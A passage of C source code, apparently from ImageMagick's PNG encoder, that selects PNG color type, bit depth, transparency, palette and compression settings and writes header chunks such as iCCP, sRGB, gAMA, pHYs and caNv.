LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Selecting PNG colortype:\");\n\n ping_color_type=(png_byte) ((matte != MagickFalse)?\n PNG_COLOR_TYPE_RGB_ALPHA:PNG_COLOR_TYPE_RGB);\n\n if (image_info->type == TrueColorType)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB;\n image_matte=MagickFalse;\n }\n\n if (image_info->type == TrueColorAlphaType)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB_ALPHA;\n image_matte=MagickTrue;\n }\n\n if (image_info->type == PaletteType ||\n image_info->type == PaletteAlphaType)\n ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE;\n\n if (mng_info->write_png_colortype == 0 &&\n image_info->type == UndefinedType)\n {\n if (ping_have_color == MagickFalse)\n {\n if (image_matte == MagickFalse)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY;\n image_matte=MagickFalse;\n }\n\n else\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY_ALPHA;\n image_matte=MagickTrue;\n }\n }\n else\n {\n if (image_matte == MagickFalse)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB;\n image_matte=MagickFalse;\n }\n\n else\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGBA;\n image_matte=MagickTrue;\n }\n }\n }\n\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Selected PNG colortype=%d\",ping_color_type);\n\n if (ping_bit_depth < 8)\n {\n if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA ||\n ping_color_type == PNG_COLOR_TYPE_RGB ||\n ping_color_type == PNG_COLOR_TYPE_RGB_ALPHA)\n ping_bit_depth=8;\n }\n\n old_bit_depth=ping_bit_depth;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n if (image->alpha_trait == UndefinedPixelTrait &&\n ping_have_non_bw == MagickFalse)\n ping_bit_depth=1;\n }\n\n if (ping_color_type == PNG_COLOR_TYPE_PALETTE)\n {\n size_t one = 1;\n ping_bit_depth=1;\n\n if (image->colors == 0)\n {\n /* DO SOMETHING */\n png_error(ping,\"image has 0 colors\");\n }\n\n while ((int) (one << ping_bit_depth) < (ssize_t) image_colors)\n ping_bit_depth <<= 1;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Number of colors: %.20g\",(double) image_colors);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Tentative PNG bit depth: %d\",ping_bit_depth);\n }\n\n if (ping_bit_depth < (int) mng_info->write_png_depth)\n ping_bit_depth = mng_info->write_png_depth;\n }\n\n image_depth=ping_bit_depth;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Tentative PNG color type: %s (%.20g)\",\n PngColorTypeToString(ping_color_type),\n (double) ping_color_type);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_info->type: %.20g\",(double) image_info->type);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_depth: %.20g\",(double) image_depth);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n\n \" image->depth: %.20g\",(double) image->depth);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" ping_bit_depth: %.20g\",(double) ping_bit_depth);\n }\n\n if (matte != MagickFalse)\n {\n if (mng_info->IsPalette)\n {\n if (mng_info->write_png_colortype == 0)\n {\n ping_color_type=PNG_COLOR_TYPE_GRAY_ALPHA;\n\n if (ping_have_color != MagickFalse)\n ping_color_type=PNG_COLOR_TYPE_RGBA;\n }\n\n /*\n * Determine if there is any transparent color.\n */\n if (number_transparent + number_semitransparent == 0)\n {\n /*\n No transparent pixels are present. Change 4 or 6 to 0 or 2.\n */\n\n image_matte=MagickFalse;\n\n if (mng_info->write_png_colortype == 0)\n ping_color_type&=0x03;\n }\n\n else\n {\n unsigned int\n mask;\n\n mask=0xffff;\n\n if (ping_bit_depth == 8)\n mask=0x00ff;\n\n if (ping_bit_depth == 4)\n mask=0x000f;\n\n if (ping_bit_depth == 2)\n mask=0x0003;\n\n if (ping_bit_depth == 1)\n mask=0x0001;\n\n ping_trans_color.red=(png_uint_16)\n (ScaleQuantumToShort(image->colormap[0].red) & mask);\n\n ping_trans_color.green=(png_uint_16)\n (ScaleQuantumToShort(image->colormap[0].green) & mask);\n\n ping_trans_color.blue=(png_uint_16)\n (ScaleQuantumToShort(image->colormap[0].blue) & mask);\n\n ping_trans_color.gray=(png_uint_16)\n (ScaleQuantumToShort(GetPixelInfoIntensity(image,\n image->colormap)) & mask);\n\n ping_trans_color.index=(png_byte) 0;\n\n ping_have_tRNS=MagickTrue;\n }\n\n if (ping_have_tRNS != MagickFalse)\n {\n /*\n * Determine if there is one and only one transparent color\n * and if so if it is fully transparent.\n */\n if (ping_have_cheap_transparency == MagickFalse)\n ping_have_tRNS=MagickFalse;\n }\n\n if (ping_have_tRNS != MagickFalse)\n {\n if (mng_info->write_png_colortype == 0)\n ping_color_type &= 0x03; /* changes 4 or 6 to 0 or 2 */\n\n if (image_depth == 8)\n {\n ping_trans_color.red&=0xff;\n ping_trans_color.green&=0xff;\n ping_trans_color.blue&=0xff;\n ping_trans_color.gray&=0xff;\n }\n }\n }\n else\n {\n if (image_depth == 8)\n {\n ping_trans_color.red&=0xff;\n ping_trans_color.green&=0xff;\n ping_trans_color.blue&=0xff;\n ping_trans_color.gray&=0xff;\n }\n }\n }\n\n matte=image_matte;\n\n if (ping_have_tRNS != MagickFalse)\n image_matte=MagickFalse;\n\n if ((mng_info->IsPalette) &&\n mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_PALETTE &&\n ping_have_color == MagickFalse &&\n (image_matte == MagickFalse || image_depth >= 8))\n {\n size_t one=1;\n\n if (image_matte != MagickFalse)\n ping_color_type=PNG_COLOR_TYPE_GRAY_ALPHA;\n\n else if (mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_GRAY_ALPHA)\n {\n ping_color_type=PNG_COLOR_TYPE_GRAY;\n\n if (save_image_depth == 16 && image_depth == 8)\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color (0)\");\n }\n ping_trans_color.gray*=0x0101;\n }\n }\n\n if (image_depth > MAGICKCORE_QUANTUM_DEPTH)\n image_depth=MAGICKCORE_QUANTUM_DEPTH;\n\n if ((image_colors == 0) ||\n ((ssize_t) (image_colors-1) > (ssize_t) MaxColormapSize))\n image_colors=(int) (one << image_depth);\n\n if (image_depth > 8)\n ping_bit_depth=16;\n\n else\n {\n ping_bit_depth=8;\n if ((int) ping_color_type == PNG_COLOR_TYPE_PALETTE)\n {\n if(!mng_info->write_png_depth)\n {\n ping_bit_depth=1;\n\n while ((int) (one << ping_bit_depth)\n < (ssize_t) image_colors)\n ping_bit_depth <<= 1;\n }\n }\n\n else if (ping_color_type ==\n PNG_COLOR_TYPE_GRAY && image_colors < 17 &&\n mng_info->IsPalette)\n {\n /* Check if grayscale is reducible */\n\n int\n depth_4_ok=MagickTrue,\n depth_2_ok=MagickTrue,\n depth_1_ok=MagickTrue;\n\n for (i=0; i < (ssize_t) image_colors; i++)\n {\n unsigned char\n intensity;\n\n intensity=ScaleQuantumToChar(image->colormap[i].red);\n\n if ((intensity & 0x0f) != ((intensity & 0xf0) >> 4))\n depth_4_ok=depth_2_ok=depth_1_ok=MagickFalse;\n else if ((intensity & 0x03) != ((intensity & 0x0c) >> 2))\n depth_2_ok=depth_1_ok=MagickFalse;\n else if ((intensity & 0x01) != ((intensity & 0x02) >> 1))\n depth_1_ok=MagickFalse;\n }\n\n if (depth_1_ok && mng_info->write_png_depth <= 1)\n ping_bit_depth=1;\n\n else if (depth_2_ok && mng_info->write_png_depth <= 2)\n ping_bit_depth=2;\n\n else if (depth_4_ok && mng_info->write_png_depth <= 4)\n ping_bit_depth=4;\n }\n }\n\n image_depth=ping_bit_depth;\n }\n\n else\n\n if (mng_info->IsPalette)\n {\n number_colors=image_colors;\n\n if (image_depth <= 8)\n {\n /*\n Set image palette.\n */\n ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE;\n\n if (!(mng_info->have_write_global_plte && matte == MagickFalse))\n {\n for (i=0; i < (ssize_t) number_colors; i++)\n {\n palette[i].red=ScaleQuantumToChar(image->colormap[i].red);\n palette[i].green=\n ScaleQuantumToChar(image->colormap[i].green);\n palette[i].blue=ScaleQuantumToChar(image->colormap[i].blue);\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up PLTE chunk with %d colors\",\n number_colors);\n\n ping_have_PLTE=MagickTrue;\n }\n\n /* color_type is PNG_COLOR_TYPE_PALETTE */\n if (mng_info->write_png_depth == 0)\n {\n size_t\n one;\n\n ping_bit_depth=1;\n one=1;\n\n while ((one << ping_bit_depth) < (size_t) number_colors)\n ping_bit_depth <<= 1;\n }\n\n ping_num_trans=0;\n\n if (matte != MagickFalse)\n {\n /*\n * Set up trans_colors array.\n */\n assert(number_colors <= 256);\n\n ping_num_trans=(unsigned short) (number_transparent +\n number_semitransparent);\n\n if (ping_num_trans == 0)\n ping_have_tRNS=MagickFalse;\n\n else\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color (1)\");\n }\n ping_have_tRNS=MagickTrue;\n\n for (i=0; i < ping_num_trans; i++)\n {\n ping_trans_alpha[i]= (png_byte)\n ScaleQuantumToChar(image->colormap[i].alpha);\n }\n }\n }\n }\n }\n\n else\n {\n\n if (image_depth < 8)\n image_depth=8;\n\n if ((save_image_depth == 16) && (image_depth == 8))\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color from (%d,%d,%d)\",\n (int) ping_trans_color.red,\n (int) ping_trans_color.green,\n (int) ping_trans_color.blue);\n }\n\n ping_trans_color.red*=0x0101;\n ping_trans_color.green*=0x0101;\n ping_trans_color.blue*=0x0101;\n ping_trans_color.gray*=0x0101;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" to (%d,%d,%d)\",\n (int) ping_trans_color.red,\n (int) ping_trans_color.green,\n (int) ping_trans_color.blue);\n }\n }\n }\n\n if (ping_bit_depth < (ssize_t) mng_info->write_png_depth)\n ping_bit_depth = (ssize_t) mng_info->write_png_depth;\n\n /*\n Adjust background and transparency samples in sub-8-bit grayscale files.\n */\n if (ping_bit_depth < 8 && ping_color_type ==\n PNG_COLOR_TYPE_GRAY)\n {\n png_uint_16\n maxval;\n\n size_t\n one=1;\n\n maxval=(png_uint_16) ((one << ping_bit_depth)-1);\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n\n ping_background.gray=(png_uint_16) ((maxval/65535.)*\n (ScaleQuantumToShort(((GetPixelInfoIntensity(image,\n &image->background_color))) +.5)));\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk (2)\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",\n (int) ping_background.index);\n\n ping_have_bKGD = MagickTrue;\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color.gray from %d\",\n (int)ping_trans_color.gray);\n\n ping_trans_color.gray=(png_uint_16) ((maxval/255.)*(\n ping_trans_color.gray)+.5);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" to %d\", (int)ping_trans_color.gray);\n }\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n if (mng_info->IsPalette && (int) ping_color_type == PNG_COLOR_TYPE_PALETTE)\n {\n /*\n Identify which colormap entry is the background color.\n */\n\n number_colors=image_colors;\n\n for (i=0; i < (ssize_t) MagickMax(1L*number_colors,1L); i++)\n if (IsPNGColorEqual(image->background_color,image->colormap[i]))\n break;\n\n ping_background.index=(png_byte) i;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk with index=%d\",(int) i);\n }\n\n if (i < (ssize_t) number_colors)\n {\n ping_have_bKGD = MagickTrue;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background =(%d,%d,%d)\",\n (int) ping_background.red,\n (int) ping_background.green,\n (int) ping_background.blue);\n }\n }\n\n else /* Can't happen */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" No room in PLTE to add bKGD color\");\n ping_have_bKGD = MagickFalse;\n }\n }\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG color type: %s (%d)\", PngColorTypeToString(ping_color_type),\n ping_color_type);\n /*\n Initialize compression level and filtering.\n */\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up deflate compression\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression buffer size: 32768\");\n }\n\n png_set_compression_buffer_size(ping,32768L);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression mem level: 9\");\n\n png_set_compression_mem_level(ping, 9);\n\n /* Untangle the \"-quality\" setting:\n\n Undefined is 0; the default is used.\n Default is 75\n\n 10's digit:\n\n 0 or omitted: Use Z_HUFFMAN_ONLY strategy with the\n zlib default compression level\n\n 1-9: the zlib compression level\n\n 1's digit:\n\n 0-4: the PNG filter method\n\n 5: libpng adaptive filtering if compression level > 5\n libpng filter type \"none\" if compression level <= 5\n or if image is grayscale or palette\n\n 6: libpng adaptive filtering\n\n 7: \"LOCO\" filtering (intrapixel differing) if writing\n a MNG, otherwise \"none\". Did not work in IM-6.7.0-9\n and earlier because of a missing \"else\".\n\n 8: Z_RLE strategy (or Z_HUFFMAN_ONLY if quality < 10), adaptive\n filtering. Unused prior to IM-6.7.0-10, was same as 6\n\n 9: Z_RLE strategy (or Z_HUFFMAN_ONLY if quality < 10), no PNG filters\n Unused prior to IM-6.7.0-10, was same as 6\n\n Note that using the -quality option, not all combinations of\n PNG filter type, zlib compression level, and zlib compression\n strategy are possible. This will be addressed soon in a\n release that accomodates \"-define png:compression-strategy\", etc.\n\n */\n\n quality=image_info->quality == UndefinedCompressionQuality ? 75UL :\n image_info->quality;\n\n if (quality <= 9)\n {\n if (mng_info->write_png_compression_strategy == 0)\n mng_info->write_png_compression_strategy = Z_HUFFMAN_ONLY+1;\n }\n\n else if (mng_info->write_png_compression_level == 0)\n {\n int\n level;\n\n level=(int) MagickMin((ssize_t) quality/10,9);\n\n mng_info->write_png_compression_level = level+1;\n }\n\n if (mng_info->write_png_compression_strategy == 0)\n {\n if ((quality %10) == 8 || (quality %10) == 9)\n#ifdef Z_RLE /* Z_RLE was added to zlib-1.2.0 */\n mng_info->write_png_compression_strategy=Z_RLE+1;\n#else\n mng_info->write_png_compression_strategy = Z_DEFAULT_STRATEGY+1;\n#endif\n }\n\n if (mng_info->write_png_compression_filter == 0)\n mng_info->write_png_compression_filter=((int) quality % 10) + 1;\n\n if (logging != MagickFalse)\n {\n if (mng_info->write_png_compression_level)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression level: %d\",\n (int) mng_info->write_png_compression_level-1);\n\n if (mng_info->write_png_compression_strategy)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression strategy: %d\",\n (int) mng_info->write_png_compression_strategy-1);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up filtering\");\n\n if (mng_info->write_png_compression_filter == 6)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Base filter method: ADAPTIVE\");\n else if (mng_info->write_png_compression_filter == 0 ||\n mng_info->write_png_compression_filter == 1)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Base filter method: NONE\");\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Base filter method: %d\",\n (int) mng_info->write_png_compression_filter-1);\n }\n\n if (mng_info->write_png_compression_level != 0)\n png_set_compression_level(ping,mng_info->write_png_compression_level-1);\n\n if (mng_info->write_png_compression_filter == 6)\n {\n if (((int) ping_color_type == PNG_COLOR_TYPE_GRAY) ||\n ((int) ping_color_type == PNG_COLOR_TYPE_PALETTE) ||\n (quality < 50))\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS);\n else\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_ALL_FILTERS);\n }\n else if (mng_info->write_png_compression_filter == 7 ||\n mng_info->write_png_compression_filter == 10)\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_ALL_FILTERS);\n\n else if (mng_info->write_png_compression_filter == 8)\n {\n#if defined(PNG_MNG_FEATURES_SUPPORTED) && defined(PNG_INTRAPIXEL_DIFFERENCING)\n if (mng_info->write_mng)\n {\n if (((int) ping_color_type == PNG_COLOR_TYPE_RGB) ||\n ((int) ping_color_type == PNG_COLOR_TYPE_RGBA))\n ping_filter_method=PNG_INTRAPIXEL_DIFFERENCING;\n }\n#endif\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS);\n }\n\n else if (mng_info->write_png_compression_filter == 9)\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS);\n\n else if (mng_info->write_png_compression_filter != 0)\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,\n mng_info->write_png_compression_filter-1);\n\n if (mng_info->write_png_compression_strategy != 0)\n png_set_compression_strategy(ping,\n mng_info->write_png_compression_strategy-1);\n\n ping_interlace_method=image_info->interlace != NoInterlace;\n\n if (mng_info->write_mng)\n png_set_sig_bytes(ping,8);\n\n /* Bail out if cannot meet defined png:bit-depth or png:color-type */\n\n if (mng_info->write_png_colortype != 0)\n {\n if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_GRAY)\n if (ping_have_color != MagickFalse)\n {\n ping_color_type = PNG_COLOR_TYPE_RGB;\n\n if (ping_bit_depth < 8)\n ping_bit_depth=8;\n }\n\n if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_GRAY_ALPHA)\n if (ping_have_color != MagickFalse)\n ping_color_type = PNG_COLOR_TYPE_RGB_ALPHA;\n }\n\n if (ping_need_colortype_warning != MagickFalse ||\n ((mng_info->write_png_depth &&\n (int) mng_info->write_png_depth != ping_bit_depth) ||\n (mng_info->write_png_colortype &&\n ((int) mng_info->write_png_colortype-1 != ping_color_type &&\n mng_info->write_png_colortype != 7 &&\n !(mng_info->write_png_colortype == 5 && ping_color_type == 0)))))\n {\n if (logging != MagickFalse)\n {\n if (ping_need_colortype_warning != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Image has transparency but tRNS chunk was excluded\");\n }\n\n if (mng_info->write_png_depth)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:bit-depth=%u, Computed depth=%u\",\n mng_info->write_png_depth,\n ping_bit_depth);\n }\n\n if (mng_info->write_png_colortype)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Defined png:color-type=%u, Computed color type=%u\",\n mng_info->write_png_colortype-1,\n ping_color_type);\n }\n }\n\n png_warning(ping,\n \"Cannot write image with defined png:bit-depth or png:color-type.\");\n }\n\n if (image_matte != MagickFalse && image->alpha_trait == UndefinedPixelTrait)\n {\n /* Add an opaque matte channel */\n image->alpha_trait = BlendPixelTrait;\n (void) SetImageAlpha(image,OpaqueAlpha,exception);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Added an opaque matte channel\");\n }\n\n if (number_transparent != 0 || number_semitransparent != 0)\n {\n if (ping_color_type < 4)\n {\n ping_have_tRNS=MagickTrue;\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting ping_have_tRNS=MagickTrue.\");\n }\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Writing PNG header chunks\");\n\n png_set_IHDR(ping,ping_info,ping_width,ping_height,\n ping_bit_depth,ping_color_type,\n ping_interlace_method,ping_compression_method,\n ping_filter_method);\n\n if (ping_color_type == 3 && ping_have_PLTE != MagickFalse)\n {\n png_set_PLTE(ping,ping_info,palette,number_colors);\n\n if (logging != MagickFalse)\n {\n for (i=0; i< (ssize_t) number_colors; i++)\n {\n if (i < ping_num_trans)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PLTE[%d] = (%d,%d,%d), tRNS[%d] = (%d)\",\n (int) i,\n (int) palette[i].red,\n (int) palette[i].green,\n (int) palette[i].blue,\n (int) i,\n (int) ping_trans_alpha[i]);\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PLTE[%d] = (%d,%d,%d)\",\n (int) i,\n (int) palette[i].red,\n (int) palette[i].green,\n (int) palette[i].blue);\n }\n }\n }\n\n /* Only write the iCCP chunk if we are not writing the sRGB chunk. */\n if (ping_exclude_sRGB != MagickFalse ||\n (!png_get_valid(ping,ping_info,PNG_INFO_sRGB)))\n {\n if ((ping_exclude_tEXt == MagickFalse ||\n ping_exclude_zTXt == MagickFalse) &&\n (ping_exclude_iCCP == MagickFalse || ping_exclude_zCCP == MagickFalse))\n {\n ResetImageProfileIterator(image);\n for (name=GetNextImageProfile(image); name != (const char *) NULL; )\n {\n profile=GetImageProfile(image,name);\n\n if (profile != (StringInfo *) NULL)\n {\n#ifdef PNG_WRITE_iCCP_SUPPORTED\n if ((LocaleCompare(name,\"ICC\") == 0) ||\n (LocaleCompare(name,\"ICM\") == 0))\n {\n ping_have_iCCP = MagickTrue;\n if (ping_exclude_iCCP == MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up iCCP chunk\");\n\n png_set_iCCP(ping,ping_info,(png_charp) name,0,\n#if (PNG_LIBPNG_VER < 10500)\n (png_charp) GetStringInfoDatum(profile),\n#else\n (const png_byte *) GetStringInfoDatum(profile),\n#endif\n (png_uint_32) GetStringInfoLength(profile));\n }\n else\n {\n /* Do not write hex-encoded ICC chunk */\n name=GetNextImageProfile(image);\n continue;\n }\n }\n#endif /* WRITE_iCCP */\n\n if (LocaleCompare(name,\"exif\") == 0)\n {\n /* Do not write hex-encoded ICC chunk; we will\n write it later as an eXIf chunk */\n name=GetNextImageProfile(image);\n continue;\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up zTXt chunk with uuencoded %s profile\",\n name);\n Magick_png_write_raw_profile(image_info,ping,ping_info,\n (unsigned char *) name,(unsigned char *) name,\n GetStringInfoDatum(profile),\n (png_uint_32) GetStringInfoLength(profile));\n }\n name=GetNextImageProfile(image);\n }\n }\n }\n\n#if defined(PNG_WRITE_sRGB_SUPPORTED)\n if ((mng_info->have_write_global_srgb == 0) &&\n ping_have_iCCP != MagickTrue &&\n (ping_have_sRGB != MagickFalse ||\n png_get_valid(ping,ping_info,PNG_INFO_sRGB)))\n {\n if (ping_exclude_sRGB == MagickFalse)\n {\n /*\n Note image rendering intent.\n */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up sRGB chunk\");\n\n (void) png_set_sRGB(ping,ping_info,(\n Magick_RenderingIntent_to_PNG_RenderingIntent(\n image->rendering_intent)));\n\n ping_have_sRGB = MagickTrue;\n }\n }\n\n if ((!mng_info->write_mng) || (!png_get_valid(ping,ping_info,PNG_INFO_sRGB)))\n#endif\n {\n if (ping_exclude_gAMA == MagickFalse &&\n ping_have_iCCP == MagickFalse &&\n ping_have_sRGB == MagickFalse &&\n (ping_exclude_sRGB == MagickFalse ||\n (image->gamma < .45 || image->gamma > .46)))\n {\n if ((mng_info->have_write_global_gama == 0) && (image->gamma != 0.0))\n {\n /*\n Note image gamma.\n To do: check for cHRM+gAMA == sRGB, and write sRGB instead.\n */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up gAMA chunk\");\n\n png_set_gAMA(ping,ping_info,image->gamma);\n }\n }\n\n if (ping_exclude_cHRM == MagickFalse && ping_have_sRGB == MagickFalse)\n {\n if ((mng_info->have_write_global_chrm == 0) &&\n (image->chromaticity.red_primary.x != 0.0))\n {\n /*\n Note image chromaticity.\n Note: if cHRM+gAMA == sRGB write sRGB instead.\n */\n PrimaryInfo\n bp,\n gp,\n rp,\n wp;\n\n wp=image->chromaticity.white_point;\n rp=image->chromaticity.red_primary;\n gp=image->chromaticity.green_primary;\n bp=image->chromaticity.blue_primary;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up cHRM chunk\");\n\n png_set_cHRM(ping,ping_info,wp.x,wp.y,rp.x,rp.y,gp.x,gp.y,\n bp.x,bp.y);\n }\n }\n }\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n if (ping_have_bKGD != MagickFalse)\n {\n png_set_bKGD(ping,ping_info,&ping_background);\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background color = (%d,%d,%d)\",\n (int) ping_background.red,\n (int) ping_background.green,\n (int) ping_background.blue);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" index = %d, gray=%d\",\n (int) ping_background.index,\n (int) ping_background.gray);\n }\n }\n }\n\n if (ping_exclude_pHYs == MagickFalse)\n {\n if (ping_have_pHYs != MagickFalse)\n {\n png_set_pHYs(ping,ping_info,\n ping_pHYs_x_resolution,\n ping_pHYs_y_resolution,\n ping_pHYs_unit_type);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up pHYs chunk\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" x_resolution=%lu\",\n (unsigned long) ping_pHYs_x_resolution);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" y_resolution=%lu\",\n (unsigned long) ping_pHYs_y_resolution);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" unit_type=%lu\",\n (unsigned long) ping_pHYs_unit_type);\n }\n }\n }\n\n#if defined(PNG_tIME_SUPPORTED)\n if (ping_exclude_tIME == MagickFalse)\n {\n const char\n *timestamp;\n\n if (image->taint == MagickFalse)\n {\n timestamp=GetImageOption(image_info,\"png:tIME\");\n\n if (timestamp == (const char *) NULL)\n timestamp=GetImageProperty(image,\"png:tIME\",exception);\n }\n\n else\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reset tIME in tainted image\");\n\n timestamp=GetImageProperty(image,\"date:modify\",exception);\n }\n\n if (timestamp != (const char *) NULL)\n write_tIME_chunk(image,ping,ping_info,timestamp,exception);\n }\n#endif\n\n if (mng_info->need_blob != MagickFalse)\n {\n if (OpenBlob(image_info,image,WriteBinaryBlobMode,exception) ==\n MagickFalse)\n png_error(ping,\"WriteBlob Failed\");\n\n ping_have_blob=MagickTrue;\n }\n\n png_write_info_before_PLTE(ping, ping_info);\n\n if (ping_have_tRNS != MagickFalse && ping_color_type < 4)\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Calling png_set_tRNS with num_trans=%d\",ping_num_trans);\n }\n\n if (ping_color_type == 3)\n (void) png_set_tRNS(ping, ping_info,\n ping_trans_alpha,\n ping_num_trans,\n NULL);\n\n else\n {\n (void) png_set_tRNS(ping, ping_info,\n NULL,\n 0,\n &ping_trans_color);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" tRNS color =(%d,%d,%d)\",\n (int) ping_trans_color.red,\n (int) ping_trans_color.green,\n (int) ping_trans_color.blue);\n }\n }\n }\n\n png_write_info(ping,ping_info);\n\n /* write orNT if image->orientation is defined */\n if (image->orientation != UndefinedOrientation)\n {\n unsigned char\n chunk[6];\n (void) WriteBlobMSBULong(image,1L); /* data length=1 */\n PNGType(chunk,mng_orNT);\n LogPNGChunk(logging,mng_orNT,1L);\n /* PNG uses Exif orientation values */\n chunk[4]=Magick_Orientation_to_Exif_Orientation(image->orientation);\n (void) WriteBlob(image,5,chunk);\n (void) WriteBlobMSBULong(image,crc32(0,chunk,5));\n }\n\n ping_wrote_caNv = MagickFalse;\n\n /* write caNv chunk */\n if (ping_exclude_caNv == MagickFalse)\n {\n if ((image->page.width != 0 && image->page.width != image->columns) ||\n (image->page.height != 0 && image->page.height != image->rows) ||\n image->page.x != 0 || image->page.y != 0)\n {\n unsigned char\n chunk[20];\n\n (void) WriteBlobMSBULong(image,16L); /* data length=8 */\n PNGType(chunk,mng_caNv);\n LogPNGChunk(logging,mng_caNv,16L);\n PNGLong(chunk+4,(png_uint_32) image->page.width);\n PNGLong(chunk+8,(png_uint_32) image->page.height);\n PNGsLong(chunk+12,(png_int_32) image->page.x);\n PNGsLong(chunk+16,(png_int_32) image->page.y);\n (void) WriteBlob(image,20,chunk);\n (void) WriteBlobMSBULong(image,crc32(0,chunk,20));\n ping_wrote_caNv = MagickTrue;\n }\n }\n\n#if defined(PNG_oFFs_SUPPORTED)\n if (ping_exclude_oFFs == MagickFalse && ping_wrote_caNv == MagickFalse)\n {\n if (image->page.x || 